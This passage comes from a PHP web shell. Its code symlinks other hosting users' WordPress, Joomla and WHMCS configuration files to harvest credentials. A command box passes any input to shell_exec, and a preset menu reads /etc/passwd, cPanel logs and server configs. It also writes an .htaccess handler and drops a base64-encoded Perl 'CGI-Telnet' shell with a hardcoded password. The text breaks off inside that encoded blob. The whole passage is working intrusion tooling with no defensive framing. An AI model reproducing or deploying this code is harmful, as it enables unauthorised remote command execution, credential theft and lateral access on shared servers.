  3504. $configuration=array("wp-config.php","wordpress/wp-config.php","configuration.php","blog/wp-config.php","joomla/configuration.php","vb/includes/config.php","includes/config.php","conf_global.php","inc/config.php","config.php","Settings.php","sites/default/settings.php","whm/configuration.php","whmcs/configuration.php","support/configuration.php","whmc/WHM/configuration.php","whm/WHMCS/configuration.php","whm/whmcs/configuration.php","support/configuration.php","clients/configuration.php","client/configuration.php","clientes/configuration.php","cliente/configuration.php","clientsupport/configuration.php","billing/configuration.php","admin/config.php");
  3505. foreach($usr as $uss )
  3506. {
  3507. $us=trim($uss);
  3508. foreach($configuration as $c)
  3509. {
  3510. $rs="/home/".$us."/public_html/".$c;
  3511. $r="hkc/".$us." .. ".$c;
  3512. symlink($rs,$r);
  3513. }
  3514. }
  3515. }
  3516. ?>
  3517. <?php
  3518. }
  3519. elseif(isset($_GET['x']) && ($_GET['x'] == 'command'))
  3520. {
  3521. echo "<b><font color=blue> </font></b><br>";
  3522. print_r('
  3523. <pre>
  3524. <form method="POST" action=""><center>
  3525. <center><b><font color=blue><b><font color="blue">Command :=) </font></font></b><input name="baba" type="text" class="inputz" size="34"><input type="submit" class="inputzbut" value="Go">
  3526. </form>
  3527. <center><form method="POST" action=""><strong><b><font color="blue">Menu Bypass :=) </font></strong><select name="liz0" size="1" class="inputz">
  3528. <option value="cat /etc/passwd">/etc/passwd</option>
  3529. <option value="netstat -an | grep -i listen">netstat</option>
  3530. <option value="cat /var/cpanel/accounting.log">/var/cpanel/accounting.log</option>
  3531. <option value="cat /etc/syslog.conf">/etc/syslog.conf</option>
  3532. <option value="cat /etc/hosts">/etc/hosts</option>
  3533. <option value="cat /etc/named.conf">/etc/named.conf</option>
  3534. <option value="cat /etc/httpd/conf/httpd.conf">/etc/httpd/conf/httpd.conf</option>
  3535. </select> <input type="submit" class="inputzbut" value="Go">
  3536. </form>
  3537. </pre>
  3538. ');
  3539. ini_restore("safe_mode");
  3540. ini_restore("open_basedir");
  3541. $liz0=shell_exec($_POST[baba]);
  3542. $liz0zim=shell_exec($_POST[liz0]);
  3543. $uid=shell_exec('id');
  3544. $server=shell_exec('uname -a');
  3545. echo "<pre><left><h4>";
  3546. echo $liz0;
  3547. echo $liz0zim;
  3548.  
  3549. echo "</h4><center/></pre>";
  3550. ?>
  3551. <?php
  3552. }
  3553.  
  3554.  
  3555.  
  3556. /////////////////////////////////////////////////////
  3557. elseif(isset($_GET['x']) && ($_GET['x'] == 'cgi2012'))
  3558. {
  3559. ?>
  3560. <form action="?y=<?php echo $pwd; ?>&amp;x=cgi2012" method="post">
  3561. <?php
  3562. echo "<center/><br/><b>
  3563. +--==[ CGI-Telnet Version 1.3 ]==--+
  3564. </b><br><br>";
  3565. mkdir('cgi2012', 0755);
  3566. chdir('cgi2012');
  3567. $kokdosya = ".htaccess";
  3568. $dosya_adi = "$kokdosya";
  3569. $dosya = fopen ($dosya_adi , 'w') or die ("Dosya a&#231;&#305;lamad&#305;!");
  3570. $metin = "AddHandler cgi-script .izo";
  3571. fwrite ( $dosya , $metin ) ;
  3572. fclose ($dosya);
  3573. $cgi2012 = 'IyEvdXNyL2Jpbi9wZXJsIC1JL3Vzci9sb2NhbC9iYW5kbWluCnVzZSBNSU1FOjpCYXNlNjQ7CiRWZXJzaW9uPSAiQ0dJLVRlbG5ldCBWZXJzaW9uIDEuMyI7CiRFZGl0UGVyc2lvbj0iPGZvbnQgc3R5bGU9J3RleHQtc2hhZG93OiAwcHggMHB4IDZweCByZ2IoMjU1LCAwLCAwKSwgMHB4IDBweCA1cHggcmdiKDMwMCwgMCwgMCksIDBweCAwcHggNXB4IHJnYigzMDAsIDAsIDApOyBjb2xvcjojZmZmZmZmOyBmb250LXdlaWdodDpib2xkOyc+YjM3NGsgLSBDR0ktVGVsbmV0PC9mb250PiI7CgokUGFzc3dvcmQgPSAiYmFuZHVuZ2tvdGFzYW1wYWgiOwkJCSMgQ2hhbmdlIHRoaXMuIFlvdSB3aWxsIG5lZWQgdG8gZW50ZXIgdGhpcwoJCQkJIyB0byBsb2dpbi4Kc3ViIElzX1dpbigpewoJJG9zID0gJnRyaW0oJEVOVnsiU0VSVkVSX1NPRlRXQVJFIn0pOwoJaWYoJG9zID1+IG0vd2luL2kpewoJCXJldHVybiAxOwoJfQoJZWxzZXsKCQlyZXR1cm4gMDsKCX0KfQokV2luTlQgPSAmSXNfV2luKCk7CQkJCSMgWW91IG5lZWQgdG8gY2hhbmdlIHRoZSB2YWx1ZSBvZiB0aGlzIHRvIDEgaWYKCQkJCQkJCQkjIHlvdSdyZSBydW5uaW5nIHRoaXMgc2NyaXB0IG9uIGEgV2luZG93cyBOVAoJCQkJCQkJCSMgbWFjaGluZS4gSWYgeW91J3JlIHJ1bm5pbmcgaXQgb24gVW5peCwgeW91CgkJCQkJCQkJIyBjYW4gbGVhdmUgdGhlIHZhbHVlIGFzIGl0IGlzLgoKJE5UQ21kU2VwID0gIiYiOwkJCQkjIFRoaXMgY2hhcmFjdGVyIGlzIHVzZWQgdG8gc2VwZXJhdGUgMiBjb21tYW5kcwoJCQkJCQkJCSMgaW4gYSBjb21tYW5kIGxpbmUgb24gV2luZG93cyBOVC4KCiRVbml4Q21kU2VwID0gIjsiOwkJCQkjIFRoaXMgY2hhcmFjdGVyIGlzIHVzZWQgdG8gc2VwZXJhdGUgMiBjb21tYW5kcwoJCQkJCQkJCSMgaW4gYSBjb21tYW5kIGxpbmUgb24gVW5peC4KCiRDb21tYW5kVGltZW91dER1cmF0aW9uID0gMTAwMDA7CSMgVGltZSBpbiBzZWNvbmRzIGFmdGVyIGNvbW1hbmRzIHdpbGwgYmUga2lsbGVkCgkJCQkJCQkJIyBEb24ndCBzZXQgdGhpcyB0byBhIHZlcnkgbGFyZ2UgdmFsdWUuIFRoaXMgaXMKCQkJCQkJCQkjIHVzZWZ1bCBmb3IgY29tbWFuZHMgdGhhdCBtYXkgaGFuZyBvciB0aGF0CgkJCQkJCQkJIyB0YWtlIHZlcnkgbG9uZyB0byBleGVjdXRlLCBsaWtlICJmaW5kIC8iLgoJCQkJCQkJCSMgVGhpcyBpcyB2YWxpZCBvbmx5IG9uIFVuaXggc2VydmVycy4gSXQgaXMKCQkJCQkJCQkjIGlnbm9yZWQgb24gTlQgU2VydmVycy4KCiRTaG93RHluYW1pY091dHB1dCA9IDE7CQkJIyBJZiB0aGlzIGlzIDEsIHRoZW4gZGF0YSBpcyBzZW50IHRvIHRoZQoJCQkJCQkJCSMgYnJvd3NlciBhcyBzb29uIGFzIGl0IGlzIG91dHB1dCwgb3RoZXJ3aXNlCgkJCQkJCQkJIyBpdCBpcyBidWZmZXJlZCBhbmQgc2VuZCB3aGVuIHRoZSBjb21tYW5kCgkJCQkJCQkJIyBjb21wbGV0ZXMuIFRoaXMgaXMgdXNlZnVsIGZvciBjb21tYW5kcyBsaWtlCgkJCQkJCQkJIyBwaW5nLCBzbyB0aGF0IHlvdSBjYW4gc2VlIHRoZSBvdXRwdXQgYXMgaXQKCQkJCQkJCQkjIGlzIGJlaW5nIGdlbmVyYXRlZC4KCiMgRE9OJ1QgQ0hBTkdFIEFOWVRISU5HIEJFTE9XIFRISVMgTElORSBVTkxFU1MgWU9VIEtOT1cgV0hBVCBZT1UnUkUgRE9JTkcgISEKCiRDbWRTZXAgPSAoJFdpbk5UID8gJE5UQ21kU2VwIDogJFVuaXhDbWRTZXApOwokQ21kUHdkID0gKCRXaW5OVCA/ICJjZCIgOiAicHdkIik7CiRQYXRoU2VwID0gKCRXaW5OVCA/ICJcXCIgOiAiLyIpOwokUmVkaXJlY3RvciA9ICgkV2luTlQgPyAiIDI+JjEgMT4mMiIgOiAiIDE+JjEgMj4mMSIpOwokY29scz0gMTUwOwokcm93cz0gMjY7CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBSZWFkcyB0aGUgaW5wdXQgc2VudCBieSB0aGUgYnJvd3NlciBhbmQgcGFyc2VzIHRoZSBpbnB1dCB2YXJpYWJsZXMuIEl0CiMgcGFyc2VzIEdFVCwgUE9TVCBhbmQgbXVsdGlwYXJ0L2Zvcm0tZGF0YSB0aGF0IGlzIHVzZWQgZm9yIHVwbG9hZGluZyBmaWxlcy4KIyBUaGUgZmlsZW5hbWUgaXMgc3RvcmVkIGluICRpbnsnZid9IGFuZCB0aGUgZGF0YSBpcyBzdG9yZWQgaW4gJGlueydmaWxlZGF0YSd9LgojIE90aGVyIHZhcmlhYmxlcyBjYW4gYmUgYWNjZXNzZWQgdXNpbmcgJGlueyd2YXInfSwgd2hlcmUgdmFyIGlzIHRoZSBuYW1lIG9mCiMgdGhlIHZhcmlhYmxlLiBOb3RlOiBNb3N0IG9mIHRoZSBjb2RlIGluIHRoaXMgZnVuY3Rpb24gaXMgdGFrZW4gZnJvbSBvdGhlciBDR0kKIyBzY3JpcHRzLgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBSZWFkUGFyc2UgCnsKCWxvY2FsICgqaW4pID0gQF8gaWYgQF87Cglsb2NhbCAoJGksICRsb2MsICRrZXksICR2YWwpOwoJCgkkTXVsdGlwYXJ0Rm9ybURhdGEgPSAkRU5WeydDT05URU5UX1RZUEUnfSA9fiAvbXVsdGlwYXJ0XC9mb3JtLWRhdGE7IGJvdW5kYXJ5PSguKykkLzsKCglpZigkRU5WeydSRVFVRVNUX01FVEhPRCd9IGVxICJHRVQiKQoJewoJCSRpbiA9ICRFTlZ7J1FVRVJZX1NUUklORyd9OwoJfQoJZWxzaWYoJEVOVnsnUkVRVUVTVF9NRVRIT0QnfSBlcSAiUE9TVCIpCgl7CgkJYmlubW9kZShTVERJTikgaWYgJE11bHRpcGFydEZvcm1EYXRhICYgJFdpbk5UOwoJCXJlYWQoU1RESU4sICRpbiwgJEVOVnsnQ09OVEVOVF9MRU5HVEgnfSk7Cgl9CgoJIyBoYW5kbGUgZmlsZSB1cGxvYWQgZGF0YQoJaWYoJEVOVnsnQ09OVEVOVF9UWVBFJ30gPX4gL211bHRpcGFydFwvZm9ybS1kYXRhOyBib3VuZGFyeT0oLispJC8pCgl7CgkJJEJvdW5kYXJ5ID0gJy0tJy4kMTsgIyBwbGVhc2UgcmVmZXIgdG8gUkZDMTg2NyAKCQlAbGlzdCA9IHNwbGl0KC8kQm91bmRhcnkvLCAkaW4pOyAKCQkkSGVhZGVyQm9keSA9ICRsaXN0WzFdOwoJCSRIZWFkZXJCb2R5ID1+IC9cclxuXHJcbnxcblxuLzsKCQkkSGVhZGVyID0gJGA7CgkJJEJvZHkgPSAkJzsKIAkJJEJvZHkgPX4gcy9cclxuJC8vOyAjIHRoZSBsYXN0IFxyXG4gd2FzIHB1dCBpbiBieSBOZXRzY2FwZQoJCSRpbnsnZmlsZWRhdGEnfSA9ICRCb2R5OwoJCSRIZWFkZXIgPX4gL2ZpbGVuYW1lPVwiKC4rKVwiLzsgCgkJJGlueydmJ30gPSAkMTsgCgkJJGlueydmJ30gPX4gcy9cIi8vZzsKCQkkaW57J2YnfSA9fiBzL1xzLy9nOwoKCQkjIHBhcnNlIHRyYWlsZXIKCQlmb3IoJGk9MjsgJGxpc3RbJGldOyAkaSsrKQoJCXsgCgkJCSRsaXN0WyRpXSA9fiBzL14uK25hbWU9JC8vOwoJCQkkbGlzdFskaV0gPX4gL1wiKFx3KylcIi87CgkJCSRrZXkgPSAkMTsKCQkJJHZhbCA9ICQnOwoJCQkkdmFsID1+IHMvKF4oXHJcblxyXG58XG5cbikpfChcclxuJHxcbiQpLy9nOwoJCQkkdmFsID1+IHMvJSguLikvcGFjaygiYyIsIGhleCgkMSkpL2dlOwoJCQkkaW57JGtleX0gPSAkdmFsOyAKCQl9Cgl9CgllbHNlICMgc3RhbmRhcmQgcG9zdCBkYXRhICh1cmwgZW5jb2RlZCwgbm90IG11bHRpcGFydCkKCXsKCQlAaW4gPSBzcGxpdCgvJi8sICRpbik7CgkJZm9yZWFjaCAkaSAoMCAuLiAkI2luKQoJCXsKCQkJJGluWyRpXSA9fiBzL1wrLyAvZzsKCQkJKCRrZXksICR2YWwpID0gc3BsaXQoLz0vLCAkaW5bJGldLCAyKTsKCQkJJGtleSA9fiBzLyUoLi4pL3BhY2soImMiLCBoZXgoJDEpKS9nZTsKCQkJJHZhbCA9fiBzLyUoLi4pL3BhY2soImMiLCBoZXgoJDEpKS9nZTsKCQkJJGlueyRrZXl9IC49ICJcMCIgaWYgKGRlZmluZWQoJGlueyRrZXl9KSk7CgkJCSRpbnska2V5fSAuPSAkdmFsOwoJCX0KCX0KfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFByaW50cyB0aGUgSFRNTCBQYWdlIEhlYWRlcgojIEFyZ3VtZW50IDE6IEZvcm0gaXRlbSBuYW1lIHRvIHdoaWNoIGZvY3VzIHNob3VsZCBiZSBzZXQKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgUHJpbnRQYWdlSGVhZGVyCnsKCSRFbmNvZGVkQ3VycmVudERpciA9ICRDdXJyZW50RGlyOwoJJEVuY29kZWRDdXJyZW50RGlyID1+IHMvKFteYS16QS1aMC05XSkvJyUnLnVucGFjaygiSCoiLCQxKS9lZzsKCW15ICRkaXIgPSRDdXJyZW50RGlyOwoJJGRpcj1+IHMvXFwvXFxcXC9nOwoJcHJpbnQgIkNvbnRlbnQtdHlwZTogdGV4dC9odG1sXG5cbiI7CglwcmludCA8PEVORDsKPGh0bWw+CjxoZWFkPgo8bWV0YSBodHRwLWVxdWl2PSJjb250ZW50LXR5cGUiIGNvbnRlbnQ9InRleHQvaHRtbDsgY2hhcnNldD1VVEYtOCI+Cjx0aXRsZT5IYWNzdWdpYTwvdGl0bGU+CgokSHRtbE1ldGFIZWFkZXIKCjwvaGVhZD4KPHN0eWxlPgpib2R5ewpmb250OiAxMHB0IFZlcmRhbmE7Cn0KdHIgewpCT1JERVItUklHSFQ6ICAjM2UzZTNlIDFweCBzb2xpZDsKQk9SREVSLVRPUDogICAgIzNlM2UzZSAxcHggc29saWQ7CkJPUkRFUi1MRUZUOiAgICMzZTNlM2UgMXB4IHNvbGlkOwpCT1JERVItQk9UVE9NOiAjM2UzZTNlIDFweCBzb2xpZDsKY29sb3I6ICNmZjk5MDA7Cn0KdGQgewpCT1JERVItUklHSFQ6ICAjM2UzZTNlIDFweCBzb2xpZDsKQk9SREVSLVRPUDogICAgIzNlM2UzZSAxcHggc29saWQ7CkJPUkRFUi1MRUZUOiAgICMzZTNlM2UgMXB4IHNvbGlkOwpCT1JERVItQk9UVE9NOiAjM2UzZTNlIDFweCBzb2xpZDsKY29sb3I6ICMyQkE4RUM7CmZvbnQ6IDEwcHQgVmVyZGFuYTsKfQoKdGFibGUgewpCT1JERVItUklHSFQ6ICAjM2UzZTNlIDFweCBzb2xpZDsKQk9SREVSLVRPUDogICAgIzNlM2UzZSAxcHggc29saWQ7CkJPUkRFUi1MRUZUOiAgICMzZTNlM2UgMXB4IHNvbGlkOwpCT1JERVItQk9UVE9NOiAjM2UzZTNlIDFweCBzb2xpZDsKQkFDS0dST1VORC1DT0xPUjogIzExMTsKfQoKCmlucHV0IHsKQk9SREVSLVJJR0hUOiAgIzNlM2UzZSAxcHggc29saWQ7CkJPUkRFUi1UT1A6ICAgICMzZTNlM2UgMXB4IHNvbGlkOwpCT1JERVItTEVGVDogICAjM2UzZTNlIDFweCBzb2xpZDsKQk9SREVSLUJPVFRPTTogIzNlM2UzZSAxcHggc29saWQ7CkJBQ0tHUk9VTkQtQ09MT1I6IEJsYWNrOwpmb250OiAxMHB0IFZlcmRhbmE7CmNvbG9yOiAjZmY5OTAwOwp9CgppbnB1dC5zdWJtaXQgewp0ZXh0LXNoYWRvdzogMHB0IDBwdCAwLjNlbSBjeWFuLCAwcHQgMHB0IDAuM2VtIGN5YW47CmNvbG9yOiAjRkZGRkZGOwpib3JkZXItY29sb3I6ICMwMDk5MDA7Cn0KCmNvZGUgewpib3JkZXIJCQk6IGRhc2hlZCAwcHggIzMzMzsKQkFDS0dST1VORC1DT0xPUjogQmxhY2s7CmZvbnQ6IDEwcHQgVmVyZGFuYSBib2xkOwpjb2xvcjogd2hpbGU7Cn0KCnJ1biB7CmJvcmRlcgkJCTogZGFzaGVkIDBweCAjMzMzOwpmb250OiAxMHB0IFZlcmRhbmEgYm9sZDsKY29sb3I6ICNGRjAwQUE7Cn0KCnRleHRhcmVhIHsKQk9SREVSLVJJR0hUOiAgIzNlM2UzZSAxcHggc29saWQ7CkJPUkRFUi1UT1A6ICAgICMzZTNlM2UgMXB4IHNvbGlkOwpCT1JERVItTEVGVDogICAjM2UzZTNlIDFweCBzb2xpZDsKQk9SREVSLUJPVFRPTTogIzNlM2UzZSAxcHggc29saWQ7CkJBQ0tHUk9VTkQtQ09MT1I6ICMxYjFiMWI7CmZvbnQ6IEZpeGVkc3lzIGJvbGQ7CmNvbG9yOiAjYWFhOwp9CkE6bGluayB7CglDT0xPUjogIzJCQThFQzsgVEVYVC1ERUNPUkFUSU9OOiBub25lCn0KQTp2aXNpdGVkIHsKCUNPTE9SOiAjMkJBOEVDOyBURVhULURFQ09SQVRJT046IG5vbmUKfQpBOmhvdmVyIHsKCXRleHQtc2hhZG93OiAwcHQgMHB0IDAuM2VtIGN5YW4sIDBwdCAwcHQgMC4zZW0gY3lhbjsKCWNvbG9yOiAjZmY5OTAwOyBURVhULURFQ09SQVRJT046IG5vbmUKfQpBOmFjdGl2ZSB7Cgljb2xvcjogUmVkOyBURVhULURFQ09SQVRJT046IG5vbmUKfQoKLmxpc3RkaXIgdHI6aG92ZXJ7CgliYWNrZ3JvdW5kOiAjNDQ0Owp9Ci5saXN0ZGlyIHRyOmhvdmVyIHRkewoJYmFja2dyb3VuZDogIzQ0NDsKCXRleHQtc2hhZG93OiAwcHQgMHB0IDAuM2VtIGN5YW4sIDBwdCAwcHQgMC4zZW0gY3lhbjsKCWNvbG9yOiAjRkZGRkZGOyBURVhULURFQ09SQVRJT046IG5vbmU7Cn0KLm5vdGxpbmV7CgliYWNrZ3JvdW5kOiAjMTExOwp9Ci5saW5lewoJYmFja2dyb3VuZDogIzIyMjsKfQo8L3N0eWxlPgo8c2NyaXB0IGxhbmd1YWdlPSJqYXZhc2NyaXB0Ij4KZnVuY3Rpb24gY2htb2RfZm9ybShpLGZpbGUpCnsKCS8qdmFyIGFqYXg9J2FqYXhfUG9zdERhdGEoIkZvcm1QZXJtc18nK2krJyIsIiRTY3JpcHRMb2NhdGlvbiIsIlJlc3BvbnNlRGF0YSIpOyByZXR1cm4gZmFsc2U7JzsqLwoJdmFyIGFqYXg9IiI7Cglkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiRmlsZVBlcm1zXyIraSkuaW5uZXJIVE1MPSI8Zm9ybSBuYW1lPUZvcm1QZXJtc18iICsgaSsgIiBhY3Rpb249JycgbWV0aG9kPSdQT1NUJz48aW5wdXQgaWQ9dGV4dF8iICsgaSArICIgIG5hbWU9Y2htb2QgdHlwZT10ZXh0IHNpemU9NSAvPjxpbnB1dCB0eXBlPXN1Ym1pdCBjbGFzcz0nc3VibWl0JyBvbmNsaWNrPSciICsgYWpheCArICInIHZhbHVlPU9LPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWEgdmFsdWU9J2d1aSc+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ZCB2YWx1ZT0nJGRpcic+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ZiB2YWx1ZT0nIitmaWxlKyInPjwvZm9ybT4iOwoJZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoInRleHRfIiArIGkpLmZvY3VzKCk7Cn0KZnVuY3Rpb24gcm1fY2htb2RfZm9ybShyZXNwb25zZSxpLHBlcm1zLGZpbGUpCnsKCXJlc3BvbnNlLmlubmVySFRNTCA9ICI8c3BhbiBvbmNsaWNrPVxcXCJjaG1vZF9mb3JtKCIgKyBpICsgIiwnIisgZmlsZSsgIicpXFxcIiA+IisgcGVybXMgKyI8L3NwYW4+PC90ZD4iOwp9CmZ1bmN0aW9uIHJlbmFtZV9mb3JtKGksZmlsZSxmKQp7Cgl2YXIgYWpheD0iIjsKCWYucmVwbGFjZSgvXFxcXC9nLCJcXFxcXFxcXCIpOwoJdmFyIGJhY2s9InJtX3JlbmFtZV9mb3JtKCIraSsiLFxcXCIiK2ZpbGUrIlxcXCIsXFxcIiIrZisiXFxcIik7IHJldHVybiBmYWxzZTsiOwoJZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoIkZpbGVfIitpKS5pbm5lckhUTUw9Ijxmb3JtIG5hbWU9Rm9ybVBlcm1zXyIgKyBpKyAiIGFjdGlvbj0nJyBtZXRob2Q9J1BPU1QnPjxpbnB1dCBpZD10ZXh0XyIgKyBpICsgIiAgbmFtZT1yZW5hbWUgdHlwZT10ZXh0IHZhbHVlPSAnIitmaWxlKyInIC8+PGlucHV0IHR5cGU9c3VibWl0IGNsYXNzPSdzdWJtaXQnIG9uY2xpY2s9JyIgKyBhamF4ICsgIicgdmFsdWU9T0s+PGlucHV0IHR5cGU9c3VibWl0IGNsYXNzPSdzdWJtaXQnIG9uY2xpY2s9JyIgKyBiYWNrICsgIicgdmFsdWU9Q2FuY2VsPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWEgdmFsdWU9J2d1aSc+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ZCB2YWx1ZT0nJGRpcic+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ZiB2YWx1ZT0nIitmaWxlKyInPjwvZm9ybT4iOwoJZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoInRleHRfIiArIGkpLmZvY3VzKCk7Cn0KZnVuY3Rpb24gcm1fcmVuYW1lX2Zvcm0oaSxmaWxlLGYpCnsKCWlmKGY9PSdmJykKCXsKCQlkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiRmlsZV8iK2kpLmlubmVySFRNTD0iPGEgaHJlZj0nP2E9Y29tbWFuZCZkPSRkaXImYz1lZGl0JTIwIitmaWxlKyIlMjAnPiIgK2ZpbGUrICI8L2E+IjsKCX1lbHNlCgl7CgkJZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoIkZpbGVfIitpKS5pbm5lckhUTUw9IjxhIGhyZWY9Jz9hPWd1aSZkPSIrZisiJz5bICIgK2ZpbGUrICIgXTwvYT4iOwoJfQp9Cjwvc2NyaXB0Pgo8Ym9keSBvbkxvYWQ9ImRvY3VtZW50LmYuQF8uZm9jdXMoKSIgYmdjb2xvcj0iIzBjMGMwYyIgdG9wbWFyZ2luPSIwIiBsZWZ0bWFyZ2luPSIwIiBtYXJnaW53aWR0aD0iMCIgbWFyZ2luaGVpZ2h0PSIwIj4KPGNlbnRlcj48Y29kZT4KPHRhYmxlIGJvcmRlcj0iMSIgd2lkdGg9IjEwMCUiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMiI+Cjx0cj4KCTx0ZCBhbGlnbj0iY2VudGVyIiByb3dzcGFuPTI+CgkJPGI+PGZvbnQgc2l6ZT0iNSI+JEVkaXRQZXJzaW9uPC9mb250PjwvYj4KCTwvdGQ+CgoJPHRkPgoKCQk8Zm9udCBmYWNlPSJWZXJkYW5hIiBzaXplPSIyIj4kRU5WeyJTRVJWRVJfU09GVFdBUkUifTwvZm9udD4KCTwvdGQ+Cgk8dGQ+U2VydmVyIElQOjxmb250IGNvbG9yPSIjY2MwMDAwIj4gJEVOVnsnU0VSVkVSX0FERFInfTwvZm9udD4gfCBZb3VyIElQOiA8Zm9udCBjb2xvcj0iIzAwMDAwMCI+JEVOVnsnUkVNT1RFX0FERFInfTwvZm9udD4KCTwvdGQ+Cgo8L3RyPgoKPHRyPgo8dGQgY29sc3Bhbj0iMyI+PGZvbnQgZmFjZT0iVmVyZGFuYSIgc2l6ZT0iMiI+CjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbiI+SG9tZTwvYT4gfCAKPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9Y29tbWFuZCZkPSRFbmNvZGVkQ3VycmVudERpciI+Q29tbWFuZDwvYT4gfAo8YSBocmVmPSIkU2NyaXB0TG9jYXRpb24/YT1ndWkmZD0kRW5jb2RlZEN1cnJlbnREaXIiPkdVSTwvYT4gfCAKPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9dXBsb2FkJmQ9JEVuY29kZWRDdXJyZW50RGlyIj5VcGxvYWQgRmlsZTwvYT4gfCAKPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9ZG93bmxvYWQmZD0kRW5jb2RlZEN1cnJlbnREaXIiPkRvd25sb2FkIEZpbGU8L2E+IHwKCjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPWJhY2tiaW5kIj5CYWNrICYgQmluZDwvYT4gfAo8YSBocmVmPSIkU2NyaXB0TG9jYXRpb24/YT1icnV0ZWZvcmNlciI+QnJ1dGUgRm9yY2VyPC9hPiB8CjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPWNoZWNrbG9nIj5DaGVjayBMb2c8L2E+IHwKPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9ZG9tYWluc3VzZXIiPkRvbWFpbnMvVXNlcnM8L2E+IHwKPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9bG9nb3V0Ij5Mb2dvdXQ8L2E+IHwKPGEgdGFyZ2V0PSdfYmxhbmsnIGhyZWY9IiMiPkhlbHA8L2E+Cgo8L2ZvbnQ+PC90ZD4KPC90cj4KPC90YWJsZT4KPGZvbnQgaWQ9IlJlc3BvbnNlRGF0YSIgY29sb3I9IiNmZjk5Y2MiID4KRU5ECn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBQcmludHMgdGhlIExvZ2luIFNjcmVlbgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQcmludExvZ2luU2NyZWVuCnsKCglwcmludCA8PEVORDsKPHByZT48c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCI+ClR5cGluZ1RleHQgPSBmdW5jdGlvbihlbGVtZW50LCBpbnRlcnZhbCwgY3Vyc29yLCBmaW5pc2hlZENhbGxiYWNrKSB7CiAgaWYoKHR5cGVvZiBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCA9PSAidW5kZWZpbmVkIikgfHwgKHR5cGVvZiBlbGVtZW50LmlubmVySFRNTCA9PSAidW5kZWZpbmVkIikpIHsKICAgIHRoaXMucnVubmluZyA9IHRydWU7CS8vIE5ldmVyIHJ1bi4KICAgIHJldHVybjsKICB9CiAgdGhpcy5lbGVtZW50ID0gZWxlbWVudDsKICB0aGlzLmZpbmlzaGVkQ2FsbGJhY2sgPSAoZmluaXNoZWRDYWxsYmFjayA/IGZpbmlzaGVkQ2FsbGJhY2sgOiBmdW5jdGlvbigpIHsgcmV0dXJuOyB9KTsKICB0aGlzLmludGVydmFsID0gKHR5cGVvZiBpbnRlcnZhbCA9PSAidW5kZWZpbmVkIiA/IDEwMCA6IGludGVydmFsKTsKICB0aGlzLm9yaWdUZXh0ID0gdGhpcy5lbGVtZW50LmlubmVySFRNTDsKICB0aGlzLnVucGFyc2VkT3JpZ1RleHQgPSB0aGlzLm9yaWdUZXh0OwogIHRoaXMuY3Vyc29yID0gKGN1cnNvciA/IGN1cnNvciA6ICIiKTsKICB0aGlzLmN1cnJlbnRUZXh0ID0gIiI7CiAgdGhpcy5jdXJyZW50Q2hhciA9IDA7CiAgdGhpcy5lbGVtZW50LnR5cGluZ1RleHQgPSB0aGlzOwogIGlmKHRoaXMuZWxlbWVudC5pZCA9PSAiIikgdGhpcy5lbGVtZW50LmlkID0gInR5cGluZ3RleHQiICsgVHlwaW5nVGV4dC5jdXJyZW50SW5kZXgrKzsKICBUeXBpbmdUZXh0LmFsbC5wdXNoKHRoaXMpOwogIHRoaXMucnVubmluZyA9IGZhbHNlOwogIHRoaXMuaW5UYWcgPSBmYWxzZTsKICB0aGlzLnRhZ0J1ZmZlciA9ICIiOwogIHRoaXMuaW5IVE1MRW50aXR5ID0gZmFsc2U7CiAgdGhpcy5IVE1MRW50aXR5QnVmZmVyID0gIiI7Cn0KVHlwaW5nVGV4dC5hbGwgPSBuZXcgQXJyYXkoKTsKVHlwaW5nVGV4dC5jdXJyZW50SW5kZXggPSAwOwpUeXBpbmdUZXh0LnJ1bkFsbCA9IGZ1bmN0aW9uKCkgewogIGZvcih2YXIgaSA9IDA7IGkgPCBUeXBpbmdUZXh0LmFsbC5sZW5ndGg7IGkrKykgVHlwaW5nVGV4dC5hbGxbaV0ucnVuKCk7Cn0KVHlwaW5nVGV4dC5wcm90b3R5cGUucnVuID0gZnVuY3Rpb24oKSB7CiAgaWYodGhpcy5y